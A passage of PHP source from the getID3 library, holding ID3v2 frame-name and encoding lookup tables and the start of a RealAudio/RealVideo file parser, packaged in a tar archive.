			0x02 => 'Other file icon',
			0x03 => 'Cover (front)',
			0x04 => 'Cover (back)',
			0x05 => 'Leaflet page',
			0x06 => 'Media (e.g. label side of CD)',
			0x07 => 'Lead artist/lead performer/soloist',
			0x08 => 'Artist/performer',
			0x09 => 'Conductor',
			0x0A => 'Band/Orchestra',
			0x0B => 'Composer',
			0x0C => 'Lyricist/text writer',
			0x0D => 'Recording Location',
			0x0E => 'During recording',
			0x0F => 'During performance',
			0x10 => 'Movie/video screen capture',
			0x11 => 'A bright coloured fish',
			0x12 => 'Illustration',
			0x13 => 'Band/artist logotype',
			0x14 => 'Publisher/Studio logotype'
		);
		if ($returnarray) {
			return $APICPictureTypeLookup;
		}
		return (isset($APICPictureTypeLookup[$index]) ? $APICPictureTypeLookup[$index] : '');
	}

	public static function COMRReceivedAsLookup($index) {
		static $COMRReceivedAsLookup = array(
			0x00 => 'Other',
			0x01 => 'Standard CD album with other songs',
			0x02 => 'Compressed audio on CD',
			0x03 => 'File over the Internet',
			0x04 => 'Stream over the Internet',
			0x05 => 'As note sheets',
			0x06 => 'As note sheets in a book with other sheets',
			0x07 => 'Music on other media',
			0x08 => 'Non-musical merchandise'
		);

		return (isset($COMRReceivedAsLookup[$index]) ? $COMRReceivedAsLookup[$index] : '');
	}

	public static function RVA2ChannelTypeLookup($index) {
		static $RVA2ChannelTypeLookup = array(
			0x00 => 'Other',
			0x01 => 'Master volume',
			0x02 => 'Front right',
			0x03 => 'Front left',
			0x04 => 'Back right',
			0x05 => 'Back left',
			0x06 => 'Front centre',
			0x07 => 'Back centre',
			0x08 => 'Subwoofer'
		);

		return (isset($RVA2ChannelTypeLookup[$index]) ? $RVA2ChannelTypeLookup[$index] : '');
	}

	public static function FrameNameLongLookup($framename) {

		$begin = __LINE__;

		/** This is not a comment!

			AENC	Audio encryption
			APIC	Attached picture
			ASPI	Audio seek point index
			BUF	Recommended buffer size
			CNT	Play counter
			COM	Comments
			COMM	Comments
			COMR	Commercial frame
			CRA	Audio encryption
			CRM	Encrypted meta frame
			ENCR	Encryption method registration
			EQU	Equalisation
			EQU2	Equalisation (2)
			EQUA	Equalisation
			ETC	Event timing codes
			ETCO	Event timing codes
			GEO	General encapsulated object
			GEOB	General encapsulated object
			GRID	Group identification registration
			IPL	Involved people list
			IPLS	Involved people list
			LINK	Linked information
			LNK	Linked information
			MCDI	Music CD identifier
			MCI	Music CD Identifier
			MLL	MPEG location lookup table
			MLLT	MPEG location lookup table
			OWNE	Ownership frame
			PCNT	Play counter
			PIC	Attached picture
			POP	Popularimeter
			POPM	Popularimeter
			POSS	Position synchronisation frame
			PRIV	Private frame
			RBUF	Recommended buffer size
			REV	Reverb
			RVA	Relative volume adjustment
			RVA2	Relative volume adjustment (2)
			RVAD	Relative volume adjustment
			RVRB	Reverb
			SEEK	Seek frame
			SIGN	Signature frame
			SLT	Synchronised lyric/text
			STC	Synced tempo codes
			SYLT	Synchronised lyric/text
			SYTC	Synchronised tempo codes
			TAL	Album/Movie/Show title
			TALB	Album/Movie/Show title
			TBP	BPM (Beats Per Minute)
			TBPM	BPM (beats per minute)
			TCM	Composer
			TCMP	Part of a compilation
			TCO	Content type
			TCOM	Composer
			TCON	Content type
			TCOP	Copyright message
			TCP	Part of a compilation
			TCR	Copyright message
			TDA	Date
			TDAT	Date
			TDEN	Encoding time
			TDLY	Playlist delay
			TDOR	Original release time
			TDRC	Recording time
			TDRL	Release time
			TDTG	Tagging time
			TDY	Playlist delay
			TEN	Encoded by
			TENC	Encoded by
			TEXT	Lyricist/Text writer
			TFLT	File type
			TFT	File type
			TIM	Time
			TIME	Time
			TIPL	Involved people list
			TIT1	Content group description
			TIT2	Title/songname/content description
			TIT3	Subtitle/Description refinement
			TKE	Initial key
			TKEY	Initial key
			TLA	Language(s)
			TLAN	Language(s)
			TLE	Length
			TLEN	Length
			TMCL	Musician credits list
			TMED	Media type
			TMOO	Mood
			TMT	Media type
			TOA	Original artist(s)/performer(s)
			TOAL	Original album/movie/show title
			TOF	Original filename
			TOFN	Original filename
			TOL	Original Lyricist(s)/text writer(s)
			TOLY	Original lyricist(s)/text writer(s)
			TOPE	Original artist(s)/performer(s)
			TOR	Original release year
			TORY	Original release year
			TOT	Original album/Movie/Show title
			TOWN	File owner/licensee
			TP1	Lead artist(s)/Lead performer(s)/Soloist(s)/Performing group
			TP2	Band/Orchestra/Accompaniment
			TP3	Conductor/Performer refinement
			TP4	Interpreted, remixed, or otherwise modified by
			TPA	Part of a set
			TPB	Publisher
			TPE1	Lead performer(s)/Soloist(s)
			TPE2	Band/orchestra/accompaniment
			TPE3	Conductor/performer refinement
			TPE4	Interpreted, remixed, or otherwise modified by
			TPOS	Part of a set
			TPRO	Produced notice
			TPUB	Publisher
			TRC	ISRC (International Standard Recording Code)
			TRCK	Track number/Position in set
			TRD	Recording dates
			TRDA	Recording dates
			TRK	Track number/Position in set
			TRSN	Internet radio station name
			TRSO	Internet radio station owner
			TS2	Album-Artist sort order
			TSA	Album sort order
			TSC	Composer sort order
			TSI	Size
			TSIZ	Size
			TSO2	Album-Artist sort order
			TSOA	Album sort order
			TSOC	Composer sort order
			TSOP	Performer sort order
			TSOT	Title sort order
			TSP	Performer sort order
			TSRC	ISRC (international standard recording code)
			TSS	Software/hardware and settings used for encoding
			TSSE	Software/Hardware and settings used for encoding
			TSST	Set subtitle
			TST	Title sort order
			TT1	Content group description
			TT2	Title/Songname/Content description
			TT3	Subtitle/Description refinement
			TXT	Lyricist/text writer
			TXX	User defined text information frame
			TXXX	User defined text information frame
			TYE	Year
			TYER	Year
			UFI	Unique file identifier
			UFID	Unique file identifier
			ULT	Unsychronised lyric/text transcription
			USER	Terms of use
			USLT	Unsynchronised lyric/text transcription
			WAF	Official audio file webpage
			WAR	Official artist/performer webpage
			WAS	Official audio source webpage
			WCM	Commercial information
			WCOM	Commercial information
			WCOP	Copyright/Legal information
			WCP	Copyright/Legal information
			WOAF	Official audio file webpage
			WOAR	Official artist/performer webpage
			WOAS	Official audio source webpage
			WORS	Official Internet radio station homepage
			WPAY	Payment
			WPB	Publishers official webpage
			WPUB	Publishers official webpage
			WXX	User defined URL link frame
			WXXX	User defined URL link frame
			TFEA	Featured Artist
			TSTU	Recording Studio
			rgad	Replay Gain Adjustment

		*/

		return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_long');

		// Last three:
		// from Helium2 [www.helium2.com]
		// from http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html
	}


	public static function FrameNameShortLookup($framename) {

		$begin = __LINE__;

		/** This is not a comment!

			AENC	audio_encryption
			APIC	attached_picture
			ASPI	audio_seek_point_index
			BUF	recommended_buffer_size
			CNT	play_counter
			COM	comment
			COMM	comment
			COMR	commercial_frame
			CRA	audio_encryption
			CRM	encrypted_meta_frame
			ENCR	encryption_method_registration
			EQU	equalisation
			EQU2	equalisation
			EQUA	equalisation
			ETC	event_timing_codes
			ETCO	event_timing_codes
			GEO	general_encapsulated_object
			GEOB	general_encapsulated_object
			GRID	group_identification_registration
			IPL	involved_people_list
			IPLS	involved_people_list
			LINK	linked_information
			LNK	linked_information
			MCDI	music_cd_identifier
			MCI	music_cd_identifier
			MLL	mpeg_location_lookup_table
			MLLT	mpeg_location_lookup_table
			OWNE	ownership_frame
			PCNT	play_counter
			PIC	attached_picture
			POP	popularimeter
			POPM	popularimeter
			POSS	position_synchronisation_frame
			PRIV	private_frame
			RBUF	recommended_buffer_size
			REV	reverb
			RVA	relative_volume_adjustment
			RVA2	relative_volume_adjustment
			RVAD	relative_volume_adjustment
			RVRB	reverb
			SEEK	seek_frame
			SIGN	signature_frame
			SLT	synchronised_lyric
			STC	synced_tempo_codes
			SYLT	synchronised_lyric
			SYTC	synchronised_tempo_codes
			TAL	album
			TALB	album
			TBP	bpm
			TBPM	bpm
			TCM	composer
			TCMP	part_of_a_compilation
			TCO	genre
			TCOM	composer
			TCON	genre
			TCOP	copyright_message
			TCP	part_of_a_compilation
			TCR	copyright_message
			TDA	date
			TDAT	date
			TDEN	encoding_time
			TDLY	playlist_delay
			TDOR	original_release_time
			TDRC	recording_time
			TDRL	release_time
			TDTG	tagging_time
			TDY	playlist_delay
			TEN	encoded_by
			TENC	encoded_by
			TEXT	lyricist
			TFLT	file_type
			TFT	file_type
			TIM	time
			TIME	time
			TIPL	involved_people_list
			TIT1	content_group_description
			TIT2	title
			TIT3	subtitle
			TKE	initial_key
			TKEY	initial_key
			TLA	language
			TLAN	language
			TLE	length
			TLEN	length
			TMCL	musician_credits_list
			TMED	media_type
			TMOO	mood
			TMT	media_type
			TOA	original_artist
			TOAL	original_album
			TOF	original_filename
			TOFN	original_filename
			TOL	original_lyricist
			TOLY	original_lyricist
			TOPE	original_artist
			TOR	original_year
			TORY	original_year
			TOT	original_album
			TOWN	file_owner
			TP1	artist
			TP2	band
			TP3	conductor
			TP4	remixer
			TPA	part_of_a_set
			TPB	publisher
			TPE1	artist
			TPE2	band
			TPE3	conductor
			TPE4	remixer
			TPOS	part_of_a_set
			TPRO	produced_notice
			TPUB	publisher
			TRC	isrc
			TRCK	track_number
			TRD	recording_dates
			TRDA	recording_dates
			TRK	track_number
			TRSN	internet_radio_station_name
			TRSO	internet_radio_station_owner
			TS2	album_artist_sort_order
			TSA	album_sort_order
			TSC	composer_sort_order
			TSI	size
			TSIZ	size
			TSO2	album_artist_sort_order
			TSOA	album_sort_order
			TSOC	composer_sort_order
			TSOP	performer_sort_order
			TSOT	title_sort_order
			TSP	performer_sort_order
			TSRC	isrc
			TSS	encoder_settings
			TSSE	encoder_settings
			TSST	set_subtitle
			TST	title_sort_order
			TT1	content_group_description
			TT2	title
			TT3	subtitle
			TXT	lyricist
			TXX	text
			TXXX	text
			TYE	year
			TYER	year
			UFI	unique_file_identifier
			UFID	unique_file_identifier
			ULT	unsychronised_lyric
			USER	terms_of_use
			USLT	unsynchronised_lyric
			WAF	url_file
			WAR	url_artist
			WAS	url_source
			WCM	commercial_information
			WCOM	commercial_information
			WCOP	copyright
			WCP	copyright
			WOAF	url_file
			WOAR	url_artist
			WOAS	url_source
			WORS	url_station
			WPAY	url_payment
			WPB	url_publisher
			WPUB	url_publisher
			WXX	url_user
			WXXX	url_user
			TFEA	featured_artist
			TSTU	recording_studio
			rgad	replay_gain_adjustment

		*/

		return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_short');
	}

	public static function TextEncodingTerminatorLookup($encoding) {
		// http://www.id3.org/id3v2.4.0-structure.txt
		// Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings:
		static $TextEncodingTerminatorLookup = array(
			0   => "\x00",     // $00  ISO-8859-1. Terminated with $00.
			1   => "\x00\x00", // $01  UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00.
			2   => "\x00\x00", // $02  UTF-16BE encoded Unicode without BOM. Terminated with $00 00.
			3   => "\x00",     // $03  UTF-8 encoded Unicode. Terminated with $00.
			255 => "\x00\x00"
		);
		return (isset($TextEncodingTerminatorLookup[$encoding]) ? $TextEncodingTerminatorLookup[$encoding] : "\x00");
	}

	public static function TextEncodingNameLookup($encoding) {
		// http://www.id3.org/id3v2.4.0-structure.txt
		// Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings:
		static $TextEncodingNameLookup = array(
			0   => 'ISO-8859-1', // $00  ISO-8859-1. Terminated with $00.
			1   => 'UTF-16',     // $01  UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00.
			2   => 'UTF-16BE',   // $02  UTF-16BE encoded Unicode without BOM. Terminated with $00 00.
			3   => 'UTF-8',      // $03  UTF-8 encoded Unicode. Terminated with $00.
			255 => 'UTF-16BE'
		);
		return (isset($TextEncodingNameLookup[$encoding]) ? $TextEncodingNameLookup[$encoding] : 'ISO-8859-1');
	}

	public static function IsValidID3v2FrameName($framename, $id3v2majorversion) {
		switch ($id3v2majorversion) {
			case 2:
				return preg_match('#[A-Z][A-Z0-9]{2}#', $framename);
				break;

			case 3:
			case 4:
				return preg_match('#[A-Z][A-Z0-9]{3}#', $framename);
				break;
		}
		return false;
	}

	public static function IsANumber($numberstring, $allowdecimal=false, $allownegative=false) {
		for ($i = 0; $i < strlen($numberstring); $i++) {
			if ((chr($numberstring{$i}) < chr('0')) || (chr($numberstring{$i}) > chr('9'))) {
				if (($numberstring{$i} == '.') && $allowdecimal) {
					// allowed
				} elseif (($numberstring{$i} == '-') && $allownegative && ($i == 0)) {
					// allowed
				} else {
					return false;
				}
			}
		}
		return true;
	}

	public static function IsValidDateStampString($datestamp) {
		if (strlen($datestamp) != 8) {
			return false;
		}
		if (!self::IsANumber($datestamp, false)) {
			return false;
		}
		$year  = substr($datestamp, 0, 4);
		$month = substr($datestamp, 4, 2);
		$day   = substr($datestamp, 6, 2);
		if (($year == 0) || ($month == 0) || ($day == 0)) {
			return false;
		}
		if ($month > 12) {
			return false;
		}
		if ($day > 31) {
			return false;
		}
		if (($day > 30) && (($month == 4) || ($month == 6) || ($month == 9) || ($month == 11))) {
			return false;
		}
		if (($day > 29) && ($month == 2)) {
			return false;
		}
		return true;
	}

	public static function ID3v2HeaderLength($majorversion) {
		return (($majorversion == 2) ? 6 : 10);
	}

	public static function ID3v22iTunesBrokenFrameName($frame_name) {
		// iTunes (multiple versions) has been known to write ID3v2.3 style frames
		// but use ID3v2.2 frame names, right-padded using either [space] or [null]
		// to make them fit in the 4-byte frame name space of the ID3v2.3 frame.
		// This function will detect and translate the corrupt frame name into ID3v2.3 standard.
		static $ID3v22_iTunes_BrokenFrames = array(
			'BUF' => 'RBUF', // Recommended buffer size
			'CNT' => 'PCNT', // Play counter
			'COM' => 'COMM', // Comments
			'CRA' => 'AENC', // Audio encryption
			'EQU' => 'EQUA', // Equalisation
			'ETC' => 'ETCO', // Event timing codes
			'GEO' => 'GEOB', // General encapsulated object
			'IPL' => 'IPLS', // Involved people list
			'LNK' => 'LINK', // Linked information
			'MCI' => 'MCDI', // Music CD identifier
			'MLL' => 'MLLT', // MPEG location lookup table
			'PIC' => 'APIC', // Attached picture
			'POP' => 'POPM', // Popularimeter
			'REV' => 'RVRB', // Reverb
			'RVA' => 'RVAD', // Relative volume adjustment
			'SLT' => 'SYLT', // Synchronised lyric/text
			'STC' => 'SYTC', // Synchronised tempo codes
			'TAL' => 'TALB', // Album/Movie/Show title
			'TBP' => 'TBPM', // BPM (beats per minute)
			'TCM' => 'TCOM', // Composer
			'TCO' => 'TCON', // Content type
			'TCP' => 'TCMP', // Part of a compilation
			'TCR' => 'TCOP', // Copyright message
			'TDA' => 'TDAT', // Date
			'TDY' => 'TDLY', // Playlist delay
			'TEN' => 'TENC', // Encoded by
			'TFT' => 'TFLT', // File type
			'TIM' => 'TIME', // Time
			'TKE' => 'TKEY', // Initial key
			'TLA' => 'TLAN', // Language(s)
			'TLE' => 'TLEN', // Length
			'TMT' => 'TMED', // Media type
			'TOA' => 'TOPE', // Original artist(s)/performer(s)
			'TOF' => 'TOFN', // Original filename
			'TOL' => 'TOLY', // Original lyricist(s)/text writer(s)
			'TOR' => 'TORY', // Original release year
			'TOT' => 'TOAL', // Original album/movie/show title
			'TP1' => 'TPE1', // Lead performer(s)/Soloist(s)
			'TP2' => 'TPE2', // Band/orchestra/accompaniment
			'TP3' => 'TPE3', // Conductor/performer refinement
			'TP4' => 'TPE4', // Interpreted, remixed, or otherwise modified by
			'TPA' => 'TPOS', // Part of a set
			'TPB' => 'TPUB', // Publisher
			'TRC' => 'TSRC', // ISRC (international standard recording code)
			'TRD' => 'TRDA', // Recording dates
			'TRK' => 'TRCK', // Track number/Position in set
			'TS2' => 'TSO2', // Album-Artist sort order
			'TSA' => 'TSOA', // Album sort order
			'TSC' => 'TSOC', // Composer sort order
			'TSI' => 'TSIZ', // Size
			'TSP' => 'TSOP', // Performer sort order
			'TSS' => 'TSSE', // Software/Hardware and settings used for encoding
			'TST' => 'TSOT', // Title sort order
			'TT1' => 'TIT1', // Content group description
			'TT2' => 'TIT2', // Title/songname/content description
			'TT3' => 'TIT3', // Subtitle/Description refinement
			'TXT' => 'TEXT', // Lyricist/Text writer
			'TXX' => 'TXXX', // User defined text information frame
			'TYE' => 'TYER', // Year
			'UFI' => 'UFID', // Unique file identifier
			'ULT' => 'USLT', // Unsynchronised lyric/text transcription
			'WAF' => 'WOAF', // Official audio file webpage
			'WAR' => 'WOAR', // Official artist/performer webpage
			'WAS' => 'WOAS', // Official audio source webpage
			'WCM' => 'WCOM', // Commercial information
			'WCP' => 'WCOP', // Copyright/Legal information
			'WPB' => 'WPUB', // Publishers official webpage
			'WXX' => 'WXXX', // User defined URL link frame
		);
		if (strlen($frame_name) == 4) {
			if ((substr($frame_name, 3, 1) == ' ') || (substr($frame_name, 3, 1) == "\x00")) {
				if (isset($ID3v22_iTunes_BrokenFrames[substr($frame_name, 0, 3)])) {
					return $ID3v22_iTunes_BrokenFrames[substr($frame_name, 0, 3)];
				}
			}
		}
		return false;
	}

}

editor/libraries/classes/vendor/getid3/getid3/module.audio-video.real.php000060400000077031150750527150022435 0ustar00<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////
// See readme.txt for more details                             //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.real.php                                 //
// module for analyzing Real Audio/Video files                 //
// dependencies: module.audio-video.riff.php                   //
//                                                            ///
/////////////////////////////////////////////////////////////////

getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);

class getid3_real extends getid3_handler
{

	public function Analyze() {
		$info = &$this->getid3->info;

		$info['fileformat']       = 'real';
		$info['bitrate']          = 0;
		$info['playtime_seconds'] = 0;

		$this->fseek($info['avdataoffset']);
		$ChunkCounter = 0;
		while ($this->ftell() < $info['avdataend']) {
			$ChunkData  = $this->fread(8);
			$ChunkName  =                           substr($ChunkData, 0, 4);
			$ChunkSize  = getid3_lib::BigEndian2Int(substr($ChunkData, 4, 4));

			if ($ChunkName == '.ra'."\xFD") {
				$ChunkData .= $this->fread($ChunkSize - 8);
				if ($this->ParseOldRAheader(substr($ChunkData, 0, 128), $info['real']['old_ra_header'])) {
					$info['audio']['dataformat']      = 'real';
					$info['audio']['lossless']        = false;
					$info['audio']['sample_rate']     = $info['real']['old_ra_header']['sample_rate'];
					$info['audio']['bits_per_sample'] = $info['real']['old_ra_header']['bits_per_sample'];
					$info['audio']['channels']        = $info['real']['old_ra_header']['channels'];

					$info['playtime_seconds']         = 60 * ($info['real']['old_ra_header']['audio_bytes'] / $info['real']['old_ra_header']['bytes_per_minute']);
					$info['audio']['bitrate']         =  8 * ($info['real']['old_ra_header']['audio_bytes'] / $info['playtime_seconds']);
					$info['audio']['codec']           = $this->RealAudioCodecFourCClookup($info['real']['old_ra_header']['fourcc'], $info['audio']['bitrate']);

					foreach ($info['real']['old_ra_header']['comments'] as $key => $valuearray) {
						if (strlen(trim($valuearray[0])) > 0) {
							$info['real']['comments'][$key][] = trim($valuearray[0]);
						}
					}
					return true;
				}
				$this->error('There was a problem parsing this RealAudio file. Please submit it for analysis to info@getid3.org');
				unset($info['bitrate']);
				unset($info['playtime_seconds']);
				return false;
			}

			// shortcut
			$info['real']['chunks'][$ChunkCounter] = array();
			$thisfile_real_chunks_currentchunk = &$info['real']['chunks'][$ChunkCounter];

			$thisfile_real_chunks_currentchunk['name']   = $ChunkName;
			$thisfile_real_chunks_currentchunk['offset'] = $this->ftell() - 8;
			$thisfile_real_chunks_currentchunk['length'] = $ChunkSize;
			if (($thisfile_real_chunks_currentchunk['offset'] + $thisfile_real_chunks_currentchunk['length']) > $info['avdataend']) {
				$this->warning('Chunk "'.$thisfile_real_chunks_currentchunk['name'].'" at offset '.$thisfile_real_chunks_currentchunk['offset'].' claims to be '.$thisfile_real_chunks_currentchunk['length'].' bytes long, which is beyond end of file');
				return false;
			}

			if ($ChunkSize > ($this->getid3->fread_buffer_size() + 8)) {

				$ChunkData .= $this->fread($this->getid3->fread_buffer_size() - 8);
				$this->fseek($thisfile_real_chunks_currentchunk['offset'] + $ChunkSize);

			} elseif(($ChunkSize - 8) > 0) {

				$ChunkData .= $this->fread($ChunkSize - 8);

			}
			$offset = 8;

			switch ($ChunkName) {

				case '.RMF': // RealMedia File Header
					$thisfile_real_chunks_currentchunk['object_version'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2));
					$offset += 2;
					switch ($thisfile_real_chunks_currentchunk['object_version']) {

						case 0:
							$thisfile_real_chunks_currentchunk['file_version']  = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
							$offset += 4;
							$thisfile_real_chunks_currentchunk['headers_count'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
							$offset += 4;
							break;

						default:
							//$this->warning('Expected .RMF-object_version to be "0", actual value is "'.$thisfile_real_chunks_currentchunk['object_version'].'" (should not be a problem)');
							break;

					}
					break;


				case 'PROP': // Properties Header
					$thisfile_real_chunks_currentchunk['object_version']      = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2));
					$offset += 2;
					if ($thisfile_real_chunks_currentchunk['object_version'] == 0) {
						$thisfile_real_chunks_currentchunk['max_bit_rate']    = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;
						$thisfile_real_chunks_currentchunk['avg_bit_rate']    = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;
						$thisfile_real_chunks_currentchunk['max_packet_size'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;
						$thisfile_real_chunks_currentchunk['avg_packet_size'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;
						$thisfile_real_chunks_currentchunk['num_packets']     = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;
						$thisfile_real_chunks_currentchunk['duration']        = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;
						$thisfile_real_chunks_currentchunk['preroll']         = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;
						$thisfile_real_chunks_currentchunk['index_offset']    = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;
						$thisfile_real_chunks_currentchunk['data_offset']     = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;
						$thisfile_real_chunks_currentchunk['num_streams']     = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2));
						$offset += 2;
						$thisfile_real_chunks_currentchunk['flags_raw']       = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2));
						$offset += 2;
						$info['playtime_seconds'] = $thisfile_real_chunks_currentchunk['duration'] / 1000;
						if ($thisfile_real_chunks_currentchunk['duration'] > 0) {
							$info['bitrate'] += $thisfile_real_chunks_currentchunk['avg_bit_rate'];
						}
						$thisfile_real_chunks_currentchunk['flags']['save_enabled']   = (bool) ($thisfile_real_chunks_currentchunk['flags_raw'] & 0x0001);
						$thisfile_real_chunks_currentchunk['flags']['perfect_play']   = (bool) ($thisfile_real_chunks_currentchunk['flags_raw'] & 0x0002);
						$thisfile_real_chunks_currentchunk['flags']['live_broadcast'] = (bool) ($thisfile_real_chunks_currentchunk['flags_raw'] & 0x0004);
					}
					break;

				case 'MDPR': // Media Properties Header
					$thisfile_real_chunks_currentchunk['object_version']         = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2));
					$offset += 2;
					if ($thisfile_real_chunks_currentchunk['object_version'] == 0) {
						$thisfile_real_chunks_currentchunk['stream_number']      = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2));
						$offset += 2;
						$thisfile_real_chunks_currentchunk['max_bit_rate']       = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;
						$thisfile_real_chunks_currentchunk['avg_bit_rate']       = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;
						$thisfile_real_chunks_currentchunk['max_packet_size']    = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;
						$thisfile_real_chunks_currentchunk['avg_packet_size']    = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;
						$thisfile_real_chunks_currentchunk['start_time']         = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;
						$thisfile_real_chunks_currentchunk['preroll']            = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;
						$thisfile_real_chunks_currentchunk['duration']           = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;
						$thisfile_real_chunks_currentchunk['stream_name_size']   = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 1));
						$offset += 1;
						$thisfile_real_chunks_currentchunk['stream_name']        = substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['stream_name_size']);
						$offset += $thisfile_real_chunks_currentchunk['stream_name_size'];
						$thisfile_real_chunks_currentchunk['mime_type_size']     = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 1));
						$offset += 1;
						$thisfile_real_chunks_currentchunk['mime_type']          = substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['mime_type_size']);
						$offset += $thisfile_real_chunks_currentchunk['mime_type_size'];
						$thisfile_real_chunks_currentchunk['type_specific_len']  = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4));
						$offset += 4;
						$thisfile_real_chunks_currentchunk['type_specific_data'] = substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['type_specific_len']);
						$offset += $thisfile_real_chunks_currentchunk['type_specific_len'];

						// shortcut
						$thisfile_real_chunks_currentchunk_typespecificdata = &$thisfile_real_chunks_currentchunk['type_specific_data'];

						switch ($thisfile_real_chunks_currentchunk['mime_type']) {
							case 'video/x-pn-realvideo':
							case 'video/x-pn-multirate-realvideo':
								// http://www.freelists.org/archives/matroska-devel/07-2003/msg00010.html

								// shortcut
								$thisfile_real_chunks_currentchunk['video_info'] = array();
								$thisfile_real_chunks_currentchunk_videoinfo     = &$thisfile_real_chunks_currentchunk['video_info'];

								$thisfile_real_chunks_currentchunk_videoinfo['dwSize']            = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata,  0, 4));
								$thisfile_real_chunks_currentchunk_videoinfo['fourcc1']           =                           substr($thisfile_real_chunks_currentchunk_typespecificdata,  4, 4);
								$thisfile_real_chunks_currentchunk_videoinfo['fourcc2']           =                           substr($thisfile_real_chunks_currentchunk_typespecificdata,  8, 4);
								$thisfile_real_chunks_currentchunk_videoinfo['width']             = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 12, 2));
								$thisfile_real_chunks_currentchunk_videoinfo['height']            = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 14, 2));
								$thisfile_real_chunks_currentchunk_videoinfo['bits_per_sample']   = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 16, 2));
								//$thisfile_real_chunks_currentchunk_videoinfo['unknown1']          = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 18, 2));
								//$thisfile_real_chunks_currentchunk_videoinfo['unknown2']          = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 20, 2));
								$thisfile_real_chunks_currentchunk_videoinfo['frames_per_second'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 22, 2));
								//$thisfile_real_chunks_currentchunk_videoinfo['unknown3']          = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 24, 2));
								//$thisfile_real_chunks_currentchunk_videoinfo['unknown4']          = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 26, 2));
								//$thisfile_real_chunks_currentchunk_videoinfo['unknown5']          = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 28, 2));
								//$thisfile_real_chunks_currentchunk_videoinfo['unknown6']          = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 30, 2));
								//$thisfile_real_chunks_currentchunk_videoinfo['unknown7']          = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 32, 2));
								//$thisfile_real_chunks_currentchunk_videoinfo['unknown8']          = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 34, 2));
								//$thisfile_real_chunks_currentchunk_videoinfo['unknown9']          = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 36, 2));

								$thisfile_real_chunks_currentchunk_videoinfo['codec'] = getid3_riff::fourccLookup($thisfile_real_chunks_currentchunk_videoinfo['fourcc2']);

								$info['video']['resolution_x']    =         $thisfile_real_chunks_currentchunk_videoinfo['width'];
								$info['video']['resolution_y']    =         $thisfile_real_chunks_currentchunk_videoinfo['height'];
								$info['video']['frame_rate']      = (float) $thisfile_real_chunks_currentchunk_videoinfo['frames_per_second'];
								$info['video']['codec']           =         $thisfile_real_chunks_currentchunk_videoinfo['codec'];
								$info['video']['bits_per_sample'] =         $thisfile_real_chunks_currentchunk_videoinfo['bits_per_sample'];
								break;

							case 'audio/x-pn-realaudio':
							case 'audio/x-pn-multirate-realaudio':
